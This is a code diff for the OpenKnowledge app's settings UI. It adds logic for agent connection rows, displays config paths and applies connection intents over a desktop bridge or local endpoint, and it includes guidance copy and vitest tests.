a/packages/app/src/components/settings/agent-row-action.ts b/packages/app/src/components/settings/agent-row-action.tsnew file mode 100644index 000000000..765f8884d--- /dev/null+++ b/packages/app/src/components/settings/agent-row-action.ts@@ -0,0 +1,37 @@+import type { RowPresence } from './agent-connection-status';++export type RowAction =+ | { readonly kind: 'connect' }+ | { readonly kind: 'manage' }+ | { readonly kind: 'remove' }+ | { readonly kind: 'install'; readonly url: string }+ | { readonly kind: 'setup-doc'; readonly slug: string }+ | { readonly kind: 'none' };++export interface RowActionInput {+ readonly enabled: boolean;+ readonly installedCount: number;+ readonly presence: RowPresence;+ readonly configurable: boolean;+ readonly setupDocSlug: string | null;+ readonly installUrl?: string | null;+}++export function rowActionFor(input: RowActionInput): RowAction {+ const { enabled, installedCount, presence, configurable, setupDocSlug, installUrl } = input;+ const installed = installedCount > 0;+ const absent = presence === 'absent';++ const docAction = (): RowAction =>+ setupDocSlug === null ? { kind: 'none' } : { kind: 'setup-doc', slug: setupDocSlug };++ if (absent && installed) return { kind: 'remove' };+ if (absent) {+ return installUrl == null || installUrl === ''+ ? docAction()+ : { kind: 'install', url: installUrl };+ }+ if (!configurable) return installed ? { kind: 'remove' } : docAction();+ if (enabled) return installed ? { kind: 'manage' } : { kind: 'connect' };+ return installed ? { kind: 'remove' } : { kind: 'none' };+}diff --git a/packages/app/src/components/settings/editor-list-fold.test.ts b/packages/app/src/components/settings/editor-list-fold.test.tsdeleted file mode 100644index 924c77b21..000000000--- a/packages/app/src/components/settings/editor-list-fold.test.ts+++ /dev/null@@ -1,29 +0,0 @@-import { describe, expect, test } from 'vitest';-import { foldEditorsByPrimary } from './editor-list-fold';--type Editor = {- id: string;- state: 'installed' | 'not-installed';- detected: boolean;-};--describe('foldEditorsByPrimary', () => {- test('orders primary editors first without changing order within either group', () => {- const editors: Editor[] = [- { id: 'secondary-a', state: 'not-installed', detected: false },- { id: 'wired', state: 'installed', detected: false },- { id: 'secondary-b', state: 'not-installed', detected: false },- { id: 'detected', state: 'not-installed', detected: true },- ];-- const { shownEditors, hiddenCount } = foldEditorsByPrimary(editors, true);-- expect(shownEditors.map((editor) => editor.id)).toEqual([- 'wired',- 'detected',- 'secondary-a',- 'secondary-b',- ]);- expect(hiddenCount).toBe(2);- });-});diff --git a/packages/app/src/components/settings/editor-list-fold.tsx b/packages/app/src/components/settings/editor-list-fold.tsxdeleted file mode 100644index 282497b64..000000000--- a/packages/app/src/components/settings/editor-list-fold.tsx+++ /dev/null@@ -1,46 +0,0 @@-import { useLingui } from '@lingui/react/macro';-import { Button } from '@/components/ui/button';--export function foldEditorsByPrimary<T extends { state: string; detected: boolean }>(- editors: readonly T[],- showAll: boolean,-): { shownEditors: T[]; hiddenCount: number } {- const isPrimary = (editor: T): boolean => editor.state !== 'not-installed' || editor.detected;- const primaryEditors = editors.filter(isPrimary);- const foldable = primaryEditors.length > 0 && primaryEditors.length < editors.length;- const shownEditors =- !foldable || showAll- ? [...editors].sort((a, b) => Number(isPrimary(b)) - Number(isPrimary(a)))- : primaryEditors;- return { shownEditors, hiddenCount: foldable ? editors.length - primaryEditors.length : 0 };-}--export function ShowMoreRow({- hiddenCount,- expanded,- onToggle,- testId,-}: {- hiddenCount: number;- expanded: boolean;- onToggle: () => void;- testId: string;-}) {- const { t } = useLingui();- if (hiddenCount === 0) return null;- return (- <li>- <Button- type="button"- variant="ghost"- aria-expanded={expanded}- onClick={onToggle}- className="w-full justify-center rounded-none font-normal text-muted-foreground text-xs"- data-testid={testId}- >- {}- {expanded ? t`Show less` : t`Show ${hiddenCount} more`}- </Button>- </li>- );-}diff --git a/packages/app/src/components/settings/schema-section.slots.dom.test.tsx b/packages/app/src/components/settings/schema-section.slots.dom.test.tsxnew file mode 100644index 000000000..65785004c--- /dev/null+++ b/packages/app/src/components/settings/schema-section.slots.dom.test.tsx@@ -0,0 +1,79 @@+import type { Config } from '@inkeep/open-knowledge-core';+import { cleanup, render, screen } from '@testing-library/react';+import type { ReactNode } from 'react';+import { afterEach, describe, expect, test, vi } from 'vitest';+import { renderLinguiTemplate } from '@/test-utils/lingui-mock';++function translateLingui(+ message: TemplateStringsArray | string | { message?: string },+ ...values: unknown[]+): string {+ if (typeof message === 'object' && 'message' in message) return message.message ?? '';+ return renderLinguiTemplate(message, ...values);+}++vi.doMock('@lingui/react/macro', () => ({+ Trans: ({ children }: { children: ReactNode }) => <>{children}</>,+ msg: renderLinguiTemplate,+ useLingui: () => ({ t: translateLingui }),+}));+vi.doMock('next-themes', () => ({+ useTheme: () => ({ setTheme: vi.fn(), systemTheme: 'light' }),+}));++const { BoundSchemaSection } = await import('./schema-section');+const { TooltipProvider } = await import('@/components/ui/tooltip');++const binding = {+ current: () => ({}) as Config,+ subscribe: () => () => {},+};++const FIELDS = [+ { path: ['appearance', 'theme'], label: renderLinguiTemplate`Theme`, control: 'theme-cards' },+ { path: ['editor', 'wordWrap'], label: renderLinguiTemplate`Word wrap` },+] as never;++function renderWithSlot(slotsAfter?: Record<string, ReactNode>) {+ return render(+ <TooltipProvider>+ <BoundSchemaSection+ title="Preferences"+ description="Customize how the editor looks and behaves."+ scope="user"+ scopeBadge="user"+ binding={binding as never}+ fields={FIELDS}+ slotsAfter={slotsAfter}+ />+ </TooltipProvider>,+ );+}++afterEach(cleanup);++describe('BoundSchemaSection slotsAfter', () => {+ test('renders the slot between its keyed field and the one that follows', () => {+ renderWithSlot({ 'appearance.theme': <div data-testid="slotted" /> });++ const theme = document.querySelector('[data-field="appearance.theme"]');+ const wordWrap = document.querySelector('[data-field="editor.wordWrap"]');+ const slotted = screen.getByTestId('slotted');+ expect(theme).not.toBeNull();+ expect(wordWrap).not.toBeNull();++ expect(theme?.compareDocumentPosition(slotted)).toBe(4);+ expect(slotted.compareDocumentPosition(wordWrap as Node) & 4).toBe(4);+ });++ test('a slot keyed to no field renders nothing rather than falling to the end', () => {+ renderWithSlot({ 'appearance.nonexistent': <div data-testid="slotted" /> });+ expect(screen.queryByTestId('slotted')).toBeNull();+ });++ test('fields render unchanged with no slots at all', () => {+ renderWithSlot();+ expect(document.querySelector('[data-field="appearance.theme"]')).not.toBeNull();+ expect(document.querySelector('[data-field="editor.wordWrap"]')).not.toBeNull();+ });+});diff --git a/packages/app/src/components/settings/schema-section.tsx b/packages/app/src/components/settings/schema-section.tsxindex a133a0811..c0a7fc4e6 100644--- a/packages/app/src/components/settings/schema-section.tsx+++ b/packages/app/src/components/settings/schema-section.tsx@@ -5,7 +5,7 @@ import {type ConfigBinding,humanFormat,} from '@inkeep/open-knowledge-core';-import { useEffect, useRef, useState } from 'react';+import { Fragment, type ReactNode, useEffect, useRef, useState } from 'react';import type { FieldPath } from 'react-hook-form';import { toast } from 'sonner';import { Form } from '@/components/ui/form';@@ -23,6 +23,7 @@ interface BoundSchemaSectionProps {binding: ConfigBinding;fields: FieldDef[];scopeBadge: SettingsScope;+ slotsAfter?: Readonly<Record<string, ReactNode>>;}export function BoundSchemaSection({@@ -32,6 +33,7 @@ export function BoundSchemaSection({binding,fields,scopeBadge,+ slotsAfter,}: BoundSchemaSectionProps) {const { form, commitField } = useConfigForm(binding);const [flashedPath, setFlashedPath] = useState<string | null>(null);@@ -75,6 +77,7 @@ export function BoundSchemaSection({fields={fields}commitField={commitField}flashedPath={flashedPath}+ slotsAfter={slotsAfter}/></Form>);@@ -88,6 +91,7 @@ interface SchemaSectionProps {fields: FieldDef[];commitField: (name: FieldPath<Config>) => boolean;flashedPath: string | null;+ slotsAfter?: Readonly<Record<string, ReactNode>>;}function SchemaSection({@@ -98,6 +102,7 @@ function SchemaSection({fields,commitField,flashedPath,+ slotsAfter,}: SchemaSectionProps) {const titleId = `settings-section-${scope}-title`;return (@@ -106,15 +111,20 @@ function SchemaSection({{description}</SettingsSectionHeader><div className="space-y-10">- {fields.map((field) => (- <SettingsField- key={field.path.join('.')}- field={field}- scope={scope}- commitField={commitField}- isFlashed={flashedPath === field.path.join('.')}- />- ))}+ {fields.map((field) => {+ const dotted = field.path.join('.');+ return (+ <Fragment key={dotted}>+ <SettingsField+ field={field}+ scope={scope}+ commitField={commitField}+ isFlashed={flashedPath === dotted}+ />+ {slotsAfter?.[dotted] ?? null}+ </Fragment>+ );+ })}</div></section>);diff --git a/packages/app/src/components/settings/settings-search-index.ts b/packages/app/src/components/settings/settings-search-index.tsindex 6e73ed475..0193befe0 100644--- a/packages/app/src/components/settings/settings-search-index.ts+++ b/packages/app/src/components/settings/settings-search-index.ts@@ -34,7 +34,7 @@ export function buildSettingsSearchIndex(input: {sectionId: item.id,label: item.label,context: group.label,- keywords: [group.label],+ keywords: [group.label, ...(item.keywords ?? [])],});for (const sub of item.subsections ?? []) {entries.push({diff --git a/packages/app/src/components/settings/settings-sidebar-types.ts b/packages/app/src/components/settings/settings-sidebar-types.tsindex 57e36e545..45eba3878 100644--- a/packages/app/src/components/settings/settings-sidebar-types.ts+++ b/packages/app/src/components/settings/settings-sidebar-types.ts@@ -8,10 +8,11 @@ export interface SidebarItem {id: string;label: string;subsections?: SidebarSubsection[];+ keywords?: string[];}export interface SidebarGroup {- id: 'user' | 'project' | 'plugins' | 'integrations';+ id: 'agents' | 'user' | 'project' | 'plugins' | 'integrations';label: string;enabled: boolean;items: SidebarItem[];diff --git a/packages/app/src/lib/acp/agent-visibility.test.ts b/packages/app/src/lib/acp/agent-visibility.test.tsindex 6c1ffbb67..bab4fbbf7 100644--- a/packages/app/src/lib/acp/agent-visibility.test.ts+++ b/packages/app/src/lib/acp/agent-visibility.test.ts@@ -4,6 +4,7 @@ import {isDesktopTargetEnabled,isInAppAgentEnabled,isTerminalCliEnabled,+ isTerminalCliRowEnabled,} from './agent-visibility';import { desktopEnabledKey, inAppEnabledKey, terminalEnabledKey } from './enabled-agents';@@ -64,3 +65,19 @@ describe('agent-visibility — desktop (detected by default)', () => {expect(isDesktopTargetEnabled({ [key]: false }, 'cursor', true)).toBe(false);});});++describe('isTerminalCliRowEnabled', () => {+ test('an absent row defaults OFF, so the toggle locks instead of reading enabled', () => {+ expect(isTerminalCliRowEnabled({}, 'codex', true)).toBe(false);+ });++ test('a present or unknown row keeps the fail-open default', () => {+ expect(isTerminalCliRowEnabled({}, 'codex', false)).toBe(true);+ });++ test('an explicit override still wins in both directions', () => {+ const key = terminalEnabledKey('codex');+ expect(isTerminalCliRowEnabled({ [key]: true }, 'codex', true)).toBe(true);+ expect(isTerminalCliRowEnabled({ [key]: false }, 'codex', false)).toBe(false);+ });+});diff --git a/packages/app/src/lib/acp/agent-visibility.ts b/packages/app/src/lib/acp/agent-visibility.tsindex ee1e04fc0..42f488cdc 100644--- a/packages/app/src/lib/acp/agent-visibility.ts+++ b/packages/app/src/lib/acp/agent-visibility.ts@@ -26,6 +26,14 @@ export function isTerminalCliEnabled(return resolveEnabled(overrides[terminalEnabledKey(cli)], installed[cli] !== false);}+export function isTerminalCliRowEnabled(+ overrides: EnabledOverrides,+ cli: TerminalCli,+ absent: boolean,+): boolean {+ return resolveEnabled(overrides[terminalEnabledKey(cli)], !absent);+}+export function isDesktopTargetEnabled(overrides: EnabledOverrides,targetId: HandoffTarget,diff --git a/packages/app/src/lib/agent-connection-paths.test.ts b/packages/app/src/lib/agent-connection-paths.test.tsnew file mode 100644index 000000000..2a20a79d2--- /dev/null+++ b/packages/app/src/lib/agent-connection-paths.test.ts@@ -0,0 +1,48 @@+import { buildConnectionsView, editorPathId } from '@inkeep/open-knowledge-core';+import { describe, expect, test } from 'vitest';+import { connectionPathDisplay } from './agent-connection-paths.ts';++describe('connectionPathDisplay', () => {+ test('names the project config file per editor', () => {+ expect(connectionPathDisplay(editorPathId('editor-project-config', 'claude'))).toBe(+ '.mcp.json',+ );+ expect(connectionPathDisplay(editorPathId('editor-project-config', 'codex'))).toBe(+ '.codex/config.toml',+ );+ expect(connectionPathDisplay(editorPathId('editor-project-config', 'opencode'))).toBe(+ 'opencode.json',+ );+ });++ test('names the installed folder for a project skill, not just its root', () => {+ expect(connectionPathDisplay(editorPathId('editor-project-skill-root', 'codex'))).toBe(+ '.codex/skills/open-knowledge/',+ );+ });++ test('prefixes user scope with ~/', () => {+ expect(connectionPathDisplay(editorPathId('editor-user-skill-root', 'copilot'))).toBe(+ '~/.copilot/skills/',+ );+ });++ test('declines the user-config family rather than guessing', () => {+ expect(connectionPathDisplay(editorPathId('editor-user-config', 'codex'))).toBeNull();+ });++ test('returns null for absent and unparseable ids', () => {+ expect(connectionPathDisplay(undefined)).toBeNull();+ expect(connectionPathDisplay('not-a-path-id')).toBeNull();+ expect(connectionPathDisplay('editor-project-config:nope')).toBeNull();+ });++ test('a shared file is named by its owner, not by the agent reading it', () => {+ const row = buildConnectionsView({ agentIds: ['copilot'] }).rows[0];+ const cell = row?.scopes+ .flatMap((group) => group.cells)+ .find((candidate) => candidate.satisfierId === 'copilot/mcp/project/config-entry');+ expect(cell).toBeDefined();+ expect(connectionPathDisplay(cell?.pathId)).toBe('.mcp.json');+ });+});diff --git a/packages/app/src/lib/agent-connection-paths.ts b/packages/app/src/lib/agent-connection-paths.tsnew file mode 100644index 000000000..3fe630590--- /dev/null+++ b/packages/app/src/lib/agent-connection-paths.ts@@ -0,0 +1,40 @@+import {+ AGENTS_SKILLS_ROOT,+ EDITOR_PROJECT_CONFIG_PATH,+ EDITOR_PROJECT_SKILL_ROOT,+ EDITOR_USER_SKILL_ROOT,+ parsePathId,+ RESERVED_PROJECT_SKILL_NAME,+} from '@inkeep/open-knowledge-core';++export function connectionPathDisplay(pathId: string | undefined): string | null {+ if (pathId === undefined) return null;+ const location = parsePathId(pathId);+ if (location === null) return null;++ if (location.kind === 'central-skill-store') return `~/${AGENTS_SKILLS_ROOT}/`;++ switch (location.kind) {+ case 'editor-project-config':+ return EDITOR_PROJECT_CONFIG_PATH[location.editor];+ case 'editor-project-skill-root': {+ const root = EDITOR_PROJECT_SKILL_ROOT[location.editor];+ return root === null ? null : `${root}/${RESERVED_PROJECT_SKILL_NAME}/`;+ }+ case 'editor-user-skill-root': {+ const root = EDITOR_USER_SKILL_ROOT[location.editor];+ return root === null ? null : `~/${root}/`;+ }+ case 'editor-user-config':+ return null;+ }+}++export function sharedPathDisplays(pathId: string | undefined, peers: readonly string[]): string[] {+ if (pathId === undefined || peers.length === 0) return [];+ const location = parsePathId(pathId);+ if (location === null || location.kind === 'central-skill-store') return [];+ return peers+ .map((peer) => connectionPathDisplay(`${location.kind}:${peer}`))+ .filter((path): path is string => path !== null);+}diff --git a/packages/app/src/lib/agent-connections.test.ts b/packages/app/src/lib/agent-connections.test.tsnew file mode 100644index 000000000..4df8f93fd--- /dev/null+++ b/packages/app/src/lib/agent-connections.test.ts@@ -0,0 +1,181 @@+import { AGENT_REGISTRY, type ApplyReport, type HostSnapshot } from '@inkeep/open-knowledge-core';+import { afterEach, describe, expect, test, vi } from 'vitest';+import { applyAgentConnectionIntents } from './agent-connections.ts';++const SNAPSHOT: HostSnapshot = {+ probes: { env: 'local-web', satisfiers: {} },+ detection: { detected: ['claude'], probed: true },+};++const EMPTY_REPORT: ApplyReport = { actions: [], conflicts: [], withheld: [] };++afterEach(() => {+ vi.unstubAllGlobals();+ vi.restoreAllMocks();+});++describe('applyAgentConnectionIntents', () => {+ test('uses the desktop batch bridge when it is available', async () => {+ const apply = vi.fn(async () => ({+ ok: true as const,+ report: EMPTY_REPORT,+ snapshot: SNAPSHOT,+ }));+ vi.stubGlobal('window', { okDesktop: { agentIntegrations: { apply } } });+ const intent = {+ satisfierId: AGENT_REGISTRY.claude.satisfiers[0].id,+ desired: 'present' as const,+ };++ const result = await applyAgentConnectionIntents([intent]);++ expect(apply).toHaveBeenCalledWith({ intents: [intent] });+ expect(result).toEqual({ ok: true, report: EMPTY_REPORT, snapshot: SNAPSHOT });+ });++ test('posts to the local-web twin and validates its snapshot', async () => {+ vi.stubGlobal('window', {});+ const fetch = vi.fn(+ async () =>+ new Response(+ JSON.stringify({ actions: [], conflicts: [], withheld: [], snapshot: SNAPSHOT }),+ { status: 200, headers: { 'Content-Type': 'application/json' } },+ ),+ );+ vi.stubGlobal('fetch', fetch);++ const result = await applyAgentConnectionIntents([]);++ expect(fetch).toHaveBeenCalledWith('/api/agent-integrations/apply', {+ method: 'POST',+ headers: { 'Content-Type': 'application/json', Accept: 'application/json' },+ body: JSON.stringify({ intents: [] }),+ });+ expect(result.ok).toBe(true);+ expect(result.snapshot).toEqual(SNAPSHOT);+ });++ test('keeps the post-apply snapshot when the host reports a planning conflict', async () => {+ vi.stubGlobal('window', {});+ vi.stubGlobal(+ 'fetch',+ vi.fn(+ async () =>+ new Response(+ JSON.stringify({+ actions: [],+ conflicts: [+ {+ kind: 'unknown-satisfier',+ satisfierIds: ['new-agent/mcp/user/config-entry'],+ agentIds: [],+ },+ ],+ withheld: ['new-agent/mcp/user/config-entry'],+ snapshot: SNAPSHOT,+ }),+ { status: 200, headers: { 'Content-Type': 'application/json' } },+ ),+ ),+ );++ const result = await applyAgentConnectionIntents([]);++ expect(result.ok).toBe(false);+ expect(result.report.conflicts[0]?.kind).toBe('unknown-satisfier');+ expect(result.snapshot).toEqual(SNAPSHOT);+ });+});++describe('what a refused desktop apply carries back', () => {+ test('keeps the host error text and the unavailable flag', async () => {+ const apply = vi.fn(async () => ({+ ok: false as const,+ error: 'Managing AI tool connections is unavailable in this build.',+ unavailable: true,+ report: EMPTY_REPORT,+ snapshot: SNAPSHOT,+ }));+ vi.stubGlobal('window', { okDesktop: { agentIntegrations: { apply } } });++ const result = await applyAgentConnectionIntents([]);++ expect(result).toEqual({+ ok: false,+ report: EMPTY_REPORT,+ snapshot: SNAPSHOT,+ error: 'Managing AI tool connections is unavailable in this build.',+ unavailable: true,+ });+ });++ test('keeps a thrown bridge error as text', async () => {+ const apply = vi.fn(async () => {+ throw new Error('bridge exploded');+ });+ vi.stubGlobal('window', { okDesktop: { agentIntegrations: { apply } } });++ const result = await applyAgentConnectionIntents([]);++ expect(result.ok).toBe(false);+ expect(result.error).toBe('bridge exploded');+ expect(result.unavailable).toBeUndefined();+ });+});++describe('what a failed local-web apply carries back', () => {+ test('a network failure keeps the thrown message', async () => {+ vi.stubGlobal('window', {});+ vi.stubGlobal(+ 'fetch',+ vi.fn(async () => {+ throw new Error('connection refused');+ }),+ );++ const result = await applyAgentConnectionIntents([]);++ expect(result.ok).toBe(false);+ expect(result.error).toBe('connection refused');+ });++ test('a non-2xx response names the status', async () => {+ vi.stubGlobal('window', {});+ vi.stubGlobal(+ 'fetch',+ vi.fn(async () => new Response('nope', { status: 503, statusText: 'Service Unavailable' })),+ );++ const result = await applyAgentConnectionIntents([]);++ expect(result.ok).toBe(false);+ expect(result.error).toBe('HTTP 503 Service Unavailable');+ });++ test('a body that is not JSON keeps the parse error', async () => {+ vi.stubGlobal('window', {});+ vi.stubGlobal(+ 'fetch',+ vi.fn(async () => new Response('<html>', { status: 200 })),+ );++ const result = await applyAgentConnectionIntents([]);++ expect(result.ok).toBe(false);+ expect(result.error).toBeTruthy();+ });++ test('a response of the wrong shape names the fields that drifted', async () => {+ vi.stubGlobal('window', {});+ vi.spyOn(console, 'warn').mockImplementation(() => {});+ vi.stubGlobal(+ 'fetch',+ vi.fn(async () => new Response(JSON.stringify({ actions: 'no' }), { status: 200 })),+ );++ const result = await applyAgentConnectionIntents([]);++ expect(result.ok).toBe(false);+ expect(result.error).toMatch(/^Unexpected response shape at .*actions/);+ });+});diff --git a/packages/app/src/lib/agent-connections.ts b/packages/app/src/lib/agent-connections.tsnew file mode 100644index 000000000..3aabad488--- /dev/null+++ b/packages/app/src/lib/agent-connections.ts@@ -0,0 +1,92 @@+import {+ AgentIntegrationsApplySuccessSchema,+ type ApplyIntent,+ type ApplyReport,+ type HostSnapshot,+} from '@inkeep/open-knowledge-core';++export interface ApplyAgentConnectionsResult {+ readonly ok: boolean;+ readonly report: ApplyReport;+ readonly snapshot: HostSnapshot | null;+ readonly error?: string;+ readonly unavailable?: boolean;+}++const EMPTY_REPORT: ApplyReport = { actions: [], conflicts: [], withheld: [] };++function failure(error: string): ApplyAgentConnectionsResult {+ return { ok: false, report: EMPTY_REPORT, snapshot: null, error };+}++function reportSucceeded(report: ApplyReport): boolean {+ return (+ report.conflicts.length === 0 && report.actions.every((action) => action.errorId === undefined)+ );+}++export async function applyAgentConnectionIntents(+ intents: readonly ApplyIntent[],+): Promise<ApplyAgentConnectionsResult> {+ const bridge = globalThis.window?.okDesktop;+ if (bridge !== undefined) {+ try {+ const result = await bridge.agentIntegrations.apply({ intents });+ if (result.ok) return { ok: true, report: result.report, snapshot: result.snapshot };+ return {+ ok: false,+ report: result.report,+ snapshot: result.snapshot,+ error: result.error,+ ...(result.unavailable === true ? { unavailable: true } : {}),+ };+ } catch (err) {+ return {+ ok: false,+ report: EMPTY_REPORT,+ snapshot: null,+ error: err instanceof Error ? err.message : String(err),+ };+ }+ }++ let response: Response;+ try {+ response = await fetch('/api/agent-integrations/apply', {+ method: 'POST',+ headers: { 'Content-Type': 'application/json', Accept: 'application/json' },+ body: JSON.stringify({ intents }),+ });+ } catch (err) {+ return failure(err instanceof Error ? err.message : String(err));+ }++ if (!response.ok) {+ return failure(`HTTP ${response.status} ${response.statusText}`.trimEnd());+ }++ let body: unknown;+ try {+ body = await response.json();+ } catch (err) {+ return failure(err instanceof Error ? err.message : String(err));+ }++ const parsed = AgentIntegrationsApplySuccessSchema.safeParse(body);+ if (!parsed.success) {+ const issues = parsed.error.issues.map((issue) => issue.path.join('.'));+ console.warn('[agent-connections] response schema drift', { issues });+ return failure(`Unexpected response shape at ${issues.join(', ')}`);+ }++ const report = {+ actions: parsed.data.actions,+ conflicts: parsed.data.conflicts,+ withheld: parsed.data.withheld,+ } as unknown as ApplyReport;+ return {+ ok: reportSucceeded(report),+ report,+ snapshot: parsed.data.snapshot as unknown as HostSnapshot,+ };+}diff --git a/packages/app/src/lib/agent-followup-hint.test.ts b/packages/app/src/lib/agent-followup-hint.test.tsnew file mode 100644index 000000000..b3210388f--- /dev/null+++ b/packages/app/src/lib/agent-followup-hint.test.ts@@ -0,0 +1,47 @@+import { AGENT_REGISTRY, type GuidanceRef, guidanceId } from '@inkeep/open-knowledge-core';+import { describe, expect, test } from 'vitest';+import { followupHintText } from '@/lib/agent-followup-hint';++function projectMcpFollowup(agent: keyof typeof AGENT_REGISTRY): GuidanceRef | undefined {+ return AGENT_REGISTRY[agent].satisfiers.find(+ (satisfier) => satisfier.piece === 'mcp' && satisfier.scope === 'project',+ )?.followup;+}++describe('followupHintText', () => {+ test("Claude's approve-once hint names the agent and the one-time approval", () => {+ expect(followupHintText(projectMcpFollowup('claude'))).toBe(+ 'One more step: run Claude in this project and approve OpenKnowledge once.',+ );+ });++ test("Cursor's enable-manually hint names the agent in both places", () => {+ expect(followupHintText(projectMcpFollowup('cursor'))).toBe(+ 'One more step: enable it in Cursor → Settings → Tools & MCP (Cursor leaves project servers off until you turn them on).',+ );+ });++ test("Codex's trust-gated hint names the agent", () => {+ expect(followupHintText(projectMcpFollowup('codex'))).toBe(+ 'Connects automatically the next time you open this project in a trusted Codex session.',+ );+ });++ test('every follow-up the registry declares resolves to copy', () => {+ const declared = Object.values(AGENT_REGISTRY).flatMap((agent) =>+ agent.satisfiers.flatMap((satisfier) =>+ satisfier.followup === undefined ? [] : [satisfier.followup],+ ),+ );+ expect(declared.length).toBeGreaterThan(0);+ for (const ref of declared) expect(followupHintText(ref)).not.toBeNull();+ });++ test('an unknown id, a missing ref, or a ref without an agent renders nothing', () => {+ expect(followupHintText(undefined)).toBeNull();+ expect(+ followupHintText({ id: guidanceId('followup.unwritten'), params: { agent: 'claude' } }),+ ).toBeNull();+ expect(followupHintText({ id: guidanceId('followup.approve-once') })).toBeNull();+ });+});diff --git a/packages/app/src/lib/agent-followup-hint.ts b/packages/app/src/lib/agent-followup-hint.tsnew file mode 100644index 000000000..8d2ec87fb--- /dev/null+++ b/packages/app/src/lib/agent-followup-hint.ts@@ -0,0 +1,28 @@+import { EDITOR_LABELS, type GuidanceRef } from '@inkeep/open-knowledge-core';+import { t } from '@lingui/core/macro';++export function followupHintText(ref: GuidanceRef | undefined): string | null {+ if (ref === undefined) return null;+ const agentId = ref.params?.agent;+ if (typeof agentId !== 'string') return null;+ const agent = EDITOR_LABELS[agentId as keyof typeof EDITOR_LABELS] ?? agentId;+ switch (ref.id) {+ case 'followup.approve-once':+ return t({+ id: 'followup.approve-once',+ message: `One more step: run ${agent} in this project and approve OpenKnowledge once.`,+ });+ case 'followup.enable-manually':+ return t({+ id: 'followup.enable-manually',+ message: `One more step: enable it in ${agent} → Settings → Tools & MCP (${agent} leaves project servers off until you turn them on).`,+ });+ case 'followup.trust-gated':+ return t({+ id: 'followup.trust-gated',+ message: `Connects automatically the next time you open this project in a trusted ${agent} session.`,+ });+ default:+ return null;+ }+}diff --git a/packages/app/src/lib/agent-guidance-copy.test.ts b/packages/app/src/lib/agent-guidance-copy.test.tsnew file mode 100644index 000000000..c07ee4b1e--- /dev/null+++ b/packages/app/src/lib/agent-guidance-copy.test.ts@@ -0,0 +1,66 @@+import {+ AGENT_REGISTRY,+ EDITOR_LABELS,+ GUIDANCE_KEYS,+ guidanceId,+} from '@inkeep/open-knowledge-core';+import { describe, expect, test } from 'vitest';+import { followupHintText } from '@/lib/agent-followup-hint';+import { guidanceText, troubleshootingText } from '@/lib/agent-guidance-copy';++const registryRefs = Object.values(AGENT_REGISTRY).flatMap((agent) =>+ agent.satisfiers.flatMap((satisfier) =>+ [satisfier.guidance, satisfier.followup, satisfier.troubleshooting].filter(+ (ref) => ref !== undefined,+ ),+ ),+);++describe('guidance and troubleshooting copy', () => {+ test('every guidance and troubleshooting ref the registry declares resolves to copy naming its agent', () => {+ const declared = registryRefs.filter((ref) => !ref.id.startsWith('followup.'));+ expect(declared.length).toBeGreaterThan(0);+ for (const ref of declared) {+ const text = ref.id.startsWith('guidance.') ? guidanceText(ref) : troubleshootingText(ref);+ expect(text, ref.id).not.toBeNull();+ const agent = String(ref.params?.agent);+ expect(text, ref.id).toContain(EDITOR_LABELS[agent as keyof typeof EDITOR_LABELS] ?? agent);+ }+ });++ test('every manifest key has a resolver, split by namespace', () => {+ for (const key of GUIDANCE_KEYS) {+ const ref = {+ id: guidanceId(key),+ params: { agent: 'codex', sourceAgent: 'claude', honoredByDesktop: false },+ };+ const text = key.startsWith('followup.')+ ? followupHintText(ref)+ : key.startsWith('guidance.')+ ? guidanceText(ref)+ : troubleshootingText(ref);+ expect(text, key).not.toBeNull();+ }+ });++ test("Codex's desktop note speaks only while the desktop app ignores the project config", () => {+ const base = { id: guidanceId('troubleshooting.codex.desktop-project-config') };+ expect(+ troubleshootingText({ ...base, params: { agent: 'codex', honoredByDesktop: false } }),+ ).toBe('The Codex desktop app ignores this project config; only the Codex CLI reads it.');+ expect(+ troubleshootingText({ ...base, params: { agent: 'codex', honoredByDesktop: true } }),+ ).toBeNull();+ });++ test('a ref without an agent or with an unknown id renders nothing', () => {+ expect(guidanceText(undefined)).toBeNull();+ expect(guidanceText({ id: guidanceId('guidance.mcp.user-config') })).toBeNull();+ expect(+ troubleshootingText({+ id: guidanceId('troubleshooting.unwritten'),+ params: { agent: 'claude' },+ }),+ ).toBeNull();+ });+});diff --git a/packages/app/src/lib/agent-guidance-copy.ts b/packages/app/src/lib/agent-guidance-copy.tsnew file mode 100644index 000000000..c58dd7dd2--- /dev/null+++ b/packages/app/src/lib/agent-guidance-copy.ts@@ -0,0 +1,105 @@+import { EDITOR_LABELS, type GuidanceRef } from '@inkeep/open-knowledge-core';+import { t } from '@lingui/core/macro';++function labelOf(id: unknown): string | null {+ if (typeof id !== 'string') return null;+ return EDITOR_LABELS[id as keyof typeof EDITOR_LABELS] ?? id;+}++export function guidanceText(ref: GuidanceRef | undefined): string | null {+ if (ref === undefined) return null;+ const agent = labelOf(ref.params?.agent);+ if (agent === null) return null;+ switch (ref.id) {+ case 'guidance.mcp.user-config':+ return t({+ id: 'guidance.mcp.user-config',+ message: `Adds OpenKnowledge to ${agent}'s own MCP config, so every project on this machine is reachable.`,+ });+ case 'guidance.mcp.project-config':+ return t({+ id: 'guidance.mcp.project-config',+ message: `Adds OpenKnowledge to the MCP config ${agent} reads in this project, so it can read, search, and edit these documents.`,+ });+ case 'guidance.mcp.session-injection':+ return t({+ id: 'guidance.mcp.session-injection',+ message: `${agent} gets OpenKnowledge's tools each time OpenKnowledge launches it; nothing is written to its config.`,+ });+ case 'guidance.mcp.managed-file':+ return t({+ id: 'guidance.mcp.managed-file',+ message: `Writes a small bridge file ${agent} loads from this project to reach OpenKnowledge.`,+ });+ case 'guidance.skill.project':+ return t({+ id: 'guidance.skill.project',+ message: `Puts the OpenKnowledge skill in ${agent}'s skills folder for this project, so its edits stay attributed.`,+ });+ case 'guidance.skill.user':+ return t({+ id: 'guidance.skill.user',+ message: `Puts the OpenKnowledge discovery skill in ${agent}'s machine-wide skills folder, so it can find OpenKnowledge in any project.`,+ });+ case 'guidance.skill.central-store':+ return t({+ id: 'guidance.skill.central-store',+ message: `Puts the OpenKnowledge skill in the central skills store ${agent} reads.`,+ });+ default:+ return null;+ }+}++export function troubleshootingText(ref: GuidanceRef | undefined): string | null {+ if (ref === undefined) return null;+ const agent = labelOf(ref.params?.agent);+ if (agent === null) return null;+ switch (ref.id) {+ case 'troubleshooting.claude.project-entry-not-approved':+ return t({+ id: 'troubleshooting.claude.project-entry-not-approved',+ message: `If ${agent} shows no OpenKnowledge tools, run it in this project and approve the OpenKnowledge server once.`,+ });+ case 'troubleshooting.claude-desktop.per-tool-approval':+ return t({+ id: 'troubleshooting.claude-desktop.per-tool-approval',+ message: `${agent} asks you to 